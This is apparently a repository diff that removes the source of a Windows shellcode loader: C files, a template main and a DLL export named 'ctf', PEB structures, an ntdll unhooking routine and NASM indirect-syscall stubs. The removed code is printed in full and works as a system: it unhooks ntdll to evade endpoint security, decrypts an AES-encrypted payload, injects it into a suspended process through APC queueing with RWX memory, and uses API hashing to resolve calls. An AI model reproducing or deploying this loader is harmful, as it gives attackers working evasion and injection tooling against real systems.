||||
&Pi)) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
// Filling up the OUTPUT parameter with CreateProcessA's output
|
||||
*dwProcessId = Pi.dwProcessId;
|
||||
*hProcess = Pi.hProcess;
|
||||
*hThread = Pi.hThread;
|
||||
|
||||
Sleep(5000);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
|
||||
|
||||
SIZE_T sNumberOfBytesWritten = 0,
|
||||
sSize = sSizeOfShellcode;
|
||||
ULONG uOldProtection = 0;
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
if ((STATUS = NTAVM(hProcess, ppAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
|
||||
|
||||
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
|
||||
|
||||
if ((STATUS = NTWVM(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sSizeOfShellcode) {
|
||||
|
||||
printf("[!] NtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
|
||||
|
||||
|
||||
Sleep(2500);
|
||||
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
|
||||
|
||||
printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[+] Successfully changed memory region permission to RWX!\n");
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
@@ -1,104 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <Windows.h>
|
||||
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
|
||||
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
|
||||
|
||||
|
||||
uint8_t aes_k[16] = { #-KEY_VALUE-# };
|
||||
uint8_t aes_i[16] = { #-IV_VALUE-# };
|
||||
|
||||
|
||||
int main() {
|
||||
|
||||
PBYTE pEncPayload = NULL;
|
||||
SIZE_T sEncPayload = 0;
|
||||
|
||||
PVOID pClearText = NULL,
|
||||
pProcess = NULL;
|
||||
DWORD dwSizeOfClearText = 0,
|
||||
dwOldProtect = 0,
|
||||
dwProcessId = 0;
|
||||
AES_CTX ctx;
|
||||
|
||||
HANDLE hThread = NULL,
|
||||
hProcess = NULL;
|
||||
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
return -1;
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
Sleep(500);
|
||||
if (!GetContent(&pEncPayload, &sEncPayload)) {
|
||||
|
||||
printf("[-] Failed to get the data!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[+] PID: %d\n", GetCurrentProcessId());
|
||||
printf("[+] Got the content at position: 0x%p with size of %zu\n", pEncPayload, sEncPayload);
|
||||
|
||||
// Decryption routine
|
||||
printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);
|
||||
|
||||
printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
|
||||
printf("[-] Failed to create suspended process!\n");
|
||||
return -1;
|
||||
}
|
||||
printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
printf("[+] Payload executed!\n");
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,119 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
|
||||
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
|
||||
|
||||
|
||||
uint8_t aes_k[16] = { #-KEY_VALUE-# };
|
||||
uint8_t aes_i[16] = { #-IV_VALUE-# };
|
||||
|
||||
|
||||
extern __declspec(dllexport) int ctf()
|
||||
{
|
||||
|
||||
PBYTE pEncPayload = NULL;
|
||||
SIZE_T sEncPayload = 0;
|
||||
|
||||
PVOID pClearText = NULL,
|
||||
pProcess = NULL;
|
||||
DWORD dwSizeOfClearText = 0,
|
||||
dwOldProtect = 0,
|
||||
dwProcessId = 0;
|
||||
AES_CTX ctx;
|
||||
|
||||
HANDLE hThread = NULL,
|
||||
hProcess = NULL;
|
||||
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
return -1;
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
Sleep(500);
|
||||
if (!GetContent(&pEncPayload, &sEncPayload)) {
|
||||
|
||||
printf("[-] Failed to get the data!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[+] PID: %d\n", GetCurrentProcessId());
|
||||
printf("[+] Got the content at position: 0x%p with size of %zu\n", pEncPayload, sEncPayload);
|
||||
|
||||
// Decryption routine
|
||||
printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);
|
||||
|
||||
printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
|
||||
printf("[-] Failed to create suspended process!\n");
|
||||
return -1;
|
||||
}
|
||||
printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
printf("[+] Payload executed!\n");
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,282 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "whispers.h"
|
||||
|
||||
typedef PVOID PACTIVATION_CONTEXT;
|
||||
typedef PVOID PRTL_USER_PROCESS_PARAMETERS;
|
||||
typedef PVOID PAPI_SET_NAMESPACE;
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
ULONG Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
PVOID Reserved3;
|
||||
UNICODE_STRING FullDllName;
|
||||
BYTE Reserved4[8];
|
||||
PVOID Reserved5[3];
|
||||
union {
|
||||
ULONG CheckSum;
|
||||
PVOID Reserved6;
|
||||
};
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
|
||||
typedef struct _PEB
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
union
|
||||
{
|
||||
BOOLEAN BitField;
|
||||
struct
|
||||
{
|
||||
BOOLEAN ImageUsesLargePages : 1;
|
||||
BOOLEAN IsProtectedProcess : 1;
|
||||
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||
BOOLEAN IsPackagedProcess : 1;
|
||||
BOOLEAN IsAppContainer : 1;
|
||||
BOOLEAN IsProtectedProcessLight : 1;
|
||||
BOOLEAN IsLongPathAwareProcess : 1;
|
||||
};
|
||||
};
|
||||
|
||||
HANDLE Mutant;
|
||||
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA Ldr;
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PRTL_CRITICAL_SECTION FastPebLock;
|
||||
PSLIST_HEADER AtlThunkSListPtr;
|
||||
PVOID IFEOKey;
|
||||
|
||||
union
|
||||
{
|
||||
ULONG CrossProcessFlags;
|
||||
struct
|
||||
{
|
||||
ULONG ProcessInJob : 1;
|
||||
ULONG ProcessInitializing : 1;
|
||||
ULONG ProcessUsingVEH : 1;
|
||||
ULONG ProcessUsingVCH : 1;
|
||||
ULONG ProcessUsingFTH : 1;
|
||||
ULONG ProcessPreviouslyThrottled : 1;
|
||||
ULONG ProcessCurrentlyThrottled : 1;
|
||||
ULONG ProcessImagesHotPatched : 1; // REDSTONE5
|
||||
ULONG ReservedBits0 : 24;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
PVOID KernelCallbackTable;
|
||||
PVOID UserSharedInfoPtr;
|
||||
};
|
||||
ULONG SystemReserved;
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PAPI_SET_NAMESPACE ApiSetMap;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[2];
|
||||
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID SharedData; // HotpatchInformation
|
||||
PVOID* ReadOnlyStaticServerData;
|
||||
|
||||
PVOID AnsiCodePageData; // PCPTABLEINFO
|
||||
PVOID OemCodePageData; // PCPTABLEINFO
|
||||
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
|
||||
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
|
||||
ULARGE_INTEGER CriticalSectionTimeout;
|
||||
SIZE_T HeapSegmentReserve;
|
||||
SIZE_T HeapSegmentCommit;
|
||||
SIZE_T HeapDeCommitTotalFreeThreshold;
|
||||
SIZE_T HeapDeCommitFreeBlockThreshold;
|
||||
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID* ProcessHeaps; // PHEAP
|
||||
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
ULONG GdiDCAttributeList;
|
||||
|
||||
PRTL_CRITICAL_SECTION LoaderLock;
|
||||
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
USHORT OSBuildNumber;
|
||||
USHORT OSCSDVersion;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubsystem;
|
||||
ULONG ImageSubsystemMajorVersion;
|
||||
ULONG ImageSubsystemMinorVersion;
|
||||
KAFFINITY ActiveProcessAffinityMask;
|
||||
ULONG GdiHandleBuffer[60];
|
||||
PVOID PostProcessInitRoutine;
|
||||
|
||||
PVOID TlsExpansionBitmap;
|
||||
ULONG TlsExpansionBitmapBits[32];
|
||||
|
||||
ULONG SessionId;
|
||||
|
||||
ULARGE_INTEGER AppCompatFlags;
|
||||
ULARGE_INTEGER AppCompatFlagsUser;
|
||||
PVOID pShimData;
|
||||
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
|
||||
|
||||
UNICODE_STRING CSDVersion;
|
||||
|
||||
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
|
||||
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
|
||||
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
|
||||
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
|
||||
|
||||
SIZE_T MinimumStackCommit;
|
||||
|
||||
PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex)
|
||||
PVOID PatchLoaderData;
|
||||
PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO
|
||||
|
||||
ULONG AppModelFeatureState;
|
||||
ULONG SpareUlongs[2];
|
||||
|
||||
USHORT ActiveCodePage;
|
||||
USHORT OemCodePage;
|
||||
USHORT UseCaseMapping;
|
||||
USHORT UnusedNlsField;
|
||||
|
||||
PVOID WerRegistrationData;
|
||||
PVOID WerShipAssertPtr;
|
||||
|
||||
union
|
||||
{
|
||||
PVOID pContextData; // WIN7
|
||||
PVOID pUnused; // WIN10
|
||||
PVOID EcCodeBitMap; // WIN11
|
||||
};
|
||||
|
||||
PVOID pImageHeaderHash;
|
||||
union
|
||||
{
|
||||
ULONG TracingFlags;
|
||||
struct
|
||||
{
|
||||
ULONG HeapTracingEnabled : 1;
|
||||
ULONG CritSecTracingEnabled : 1;
|
||||
ULONG LibLoaderTracingEnabled : 1;
|
||||
ULONG SpareTracingBits : 29;
|
||||
};
|
||||
};
|
||||
ULONGLONG CsrServerReadOnlySharedMemoryBase;
|
||||
PRTL_CRITICAL_SECTION TppWorkerpListLock;
|
||||
LIST_ENTRY TppWorkerpList;
|
||||
PVOID WaitOnAddressHashTable[128];
|
||||
PVOID TelemetryCoverageHeader; // REDSTONE3
|
||||
ULONG CloudFileFlags;
|
||||
ULONG CloudFileDiagFlags; // REDSTONE4
|
||||
CHAR PlaceholderCompatibilityMode;
|
||||
CHAR PlaceholderCompatibilityModeReserved[7];
|
||||
struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5
|
||||
union
|
||||
{
|
||||
ULONG LeapSecondFlags;
|
||||
struct
|
||||
{
|
||||
ULONG SixtySecondEnabled : 1;
|
||||
ULONG Reserved : 31;
|
||||
};
|
||||
};
|
||||
ULONG NtGlobalFlag2;
|
||||
ULONGLONG ExtendedFeatureDisableMask; // since WIN11
|
||||
} PEB, * PPEB;
|
||||
|
||||
typedef struct _AES {
|
||||
|
||||
PBYTE pPlainText; // base address of the plain text data
|
||||
DWORD dwPlainSize; // size of the plain text data
|
||||
|
||||
PBYTE pCipherText; // base address of the encrypted data
|
||||
DWORD dwCipherSize; // size of it (this can change from dwPlainSize in case there was padding)
|
||||
|
||||
PBYTE pKey; // the 32 byte key
|
||||
PBYTE pIv; // the 16 byte iv
|
||||
|
||||
} AES, * PAES;
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
|
||||
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION
|
||||
{
|
||||
ULONG NextEntryOffset;
|
||||
ULONG NumberOfThreads;
|
||||
LARGE_INTEGER WorkingSetPrivateSize; //VISTA
|
||||
ULONG HardFaultCount; //WIN7
|
||||
ULONG NumberOfThreadsHighWatermark; //WIN7
|
||||
ULONGLONG CycleTime; //WIN7
|
||||
LARGE_INTEGER CreateTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER KernelTime;
|
||||
UNICODE_STRING ImageName;
|
||||
KPRIORITY BasePriority;
|
||||
HANDLE UniqueProcessId;
|
||||
HANDLE InheritedFromUniqueProcessId;
|
||||
ULONG HandleCount;
|
||||
ULONG SessionId;
|
||||
ULONG_PTR PageDirectoryBase;
|
||||
|
||||
//
|
||||
// This part corresponds to VM_COUNTERS_EX.
|
||||
// NOTE: *NOT* THE SAME AS VM_COUNTERS!
|
||||
//
|
||||
SIZE_T PeakVirtualSize;
|
||||
SIZE_T VirtualSize;
|
||||
ULONG PageFaultCount;
|
||||
SIZE_T PeakWorkingSetSize;
|
||||
SIZE_T WorkingSetSize;
|
||||
SIZE_T QuotaPeakPagedPoolUsage;
|
||||
SIZE_T QuotaPagedPoolUsage;
|
||||
SIZE_T QuotaPeakNonPagedPoolUsage;
|
||||
SIZE_T QuotaNonPagedPoolUsage;
|
||||
SIZE_T PagefileUsage;
|
||||
SIZE_T PeakPagefileUsage;
|
||||
SIZE_T PrivatePageCount;
|
||||
|
||||
//
|
||||
// This part corresponds to IO_COUNTERS
|
||||
//
|
||||
LARGE_INTEGER ReadOperationCount;
|
||||
LARGE_INTEGER WriteOperationCount;
|
||||
LARGE_INTEGER OtherOperationCount;
|
||||
LARGE_INTEGER ReadTransferCount;
|
||||
LARGE_INTEGER WriteTransferCount;
|
||||
LARGE_INTEGER OtherTransferCount;
|
||||
// SYSTEM_THREAD_INFORMATION TH[1];
|
||||
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
@@ -1,131 +0,0 @@
|
||||
/*
|
||||
|
||||
Original Author: SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#include "structs.h"
|
||||
#include "functions.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "ntdll")
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE)-1)
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
|
||||
typedef const UNICODE_STRING* PCUNICODE_STRING;
|
||||
|
||||
NTSYSAPI VOID RtlInitUnicodeString(
|
||||
PUNICODE_STRING DestinationString,
|
||||
__drv_aliasesMem PCWSTR SourceString
|
||||
);
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PCUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;
|
||||
PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
|
||||
typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)(
|
||||
HANDLE SectionHandle,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize,
|
||||
PLARGE_INTEGER SectionOffset,
|
||||
PSIZE_T ViewSize,
|
||||
DWORD InheritDisposition,
|
||||
ULONG AllocationType,
|
||||
ULONG Win32Protect
|
||||
);
|
||||
|
||||
NTSTATUS NtOpenSection(
|
||||
OUT PHANDLE SectionHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes
|
||||
);
|
||||
|
||||
#define InitializeObjectAttributes(p, n, a, r, s) { \
|
||||
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
|
||||
|
||||
LPVOID MapNtdll() {
|
||||
|
||||
UNICODE_STRING DestinationString;
|
||||
const wchar_t SourceString[] = { '\\','K','n','o','w','n','D','l','l','s','\\','n','t','d','l','l','.','d','l','l', 0 };
|
||||
|
||||
RtlInitUnicodeString(&DestinationString, SourceString);
|
||||
|
||||
OBJECT_ATTRIBUTES ObAt;
|
||||
InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
|
||||
|
||||
HANDLE hSection;
|
||||
NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt);
|
||||
if (!NT_SUCCESS(status1)) {
|
||||
printf("[!] Failed in NtOpenSection (%u)\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID pntdll = NULL;
|
||||
ULONG_PTR ViewSize = 0;
|
||||
|
||||
MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-NTMVOS_VALUE-#));
|
||||
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
|
||||
if (!NT_SUCCESS(status2)) {
|
||||
printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
|
||||
getchar();
|
||||
return NULL;
|
||||
}
|
||||
return pntdll;
|
||||
}
|
||||
|
||||
BOOL Unhook(LPVOID module) {
|
||||
|
||||
HANDLE hntdll = GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
|
||||
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew);
|
||||
if (!NTheader) {
|
||||
printf(" [-] Not a PE file\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
|
||||
DWORD oldprotect = 0;
|
||||
|
||||
for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
|
||||
|
||||
char txt[] = { '.','t','e','x','t', 0 };
|
||||
|
||||
if (!strcmp((char*)sectionHdr->Name, txt)) {
|
||||
BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
|
||||
if (!status1)
|
||||
return FALSE;
|
||||
|
||||
memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);
|
||||
|
||||
BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
|
||||
if (!status2)
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,123 +0,0 @@
|
||||
; ===============================================================
|
||||
; NASM x64 version of your assembly.
|
||||
; Save as "whispers-asm.nasm", for example.
|
||||
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
|
||||
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
|
||||
; ===============================================================
|
||||
|
||||
bits 64 ; 64-bit code
|
||||
default rel ; Use RIP-relative addressing by default
|
||||
|
||||
section .text
|
||||
|
||||
; Export the labels so your C code can call them
|
||||
global NTAVM
|
||||
global NTPVM
|
||||
global NTWVM
|
||||
global NTQAT
|
||||
|
||||
; Declare external symbols (the calls to these are in your code)
|
||||
extern SW3_GetSyscallNumber
|
||||
extern SW3_GetRandomSyscallAddress
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTAVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTAVM:
|
||||
mov [rsp + 8], rcx ; Save registers
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0xC189CD1E ; Load function hash into ECX
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax ; Save the address of the syscall
|
||||
|
||||
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8] ; Restore registers
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11 ; Jump to -> Invoke system call
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTPVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTPVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x159D0313 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x159D0313 ; Re-load function hash
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTWVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTWVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x83179B97 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x83179B97
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTQAT
|
||||
; ---------------------------------------------------------------------------
|
||||
NTQAT:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x88AE129F ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x88AE129F
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
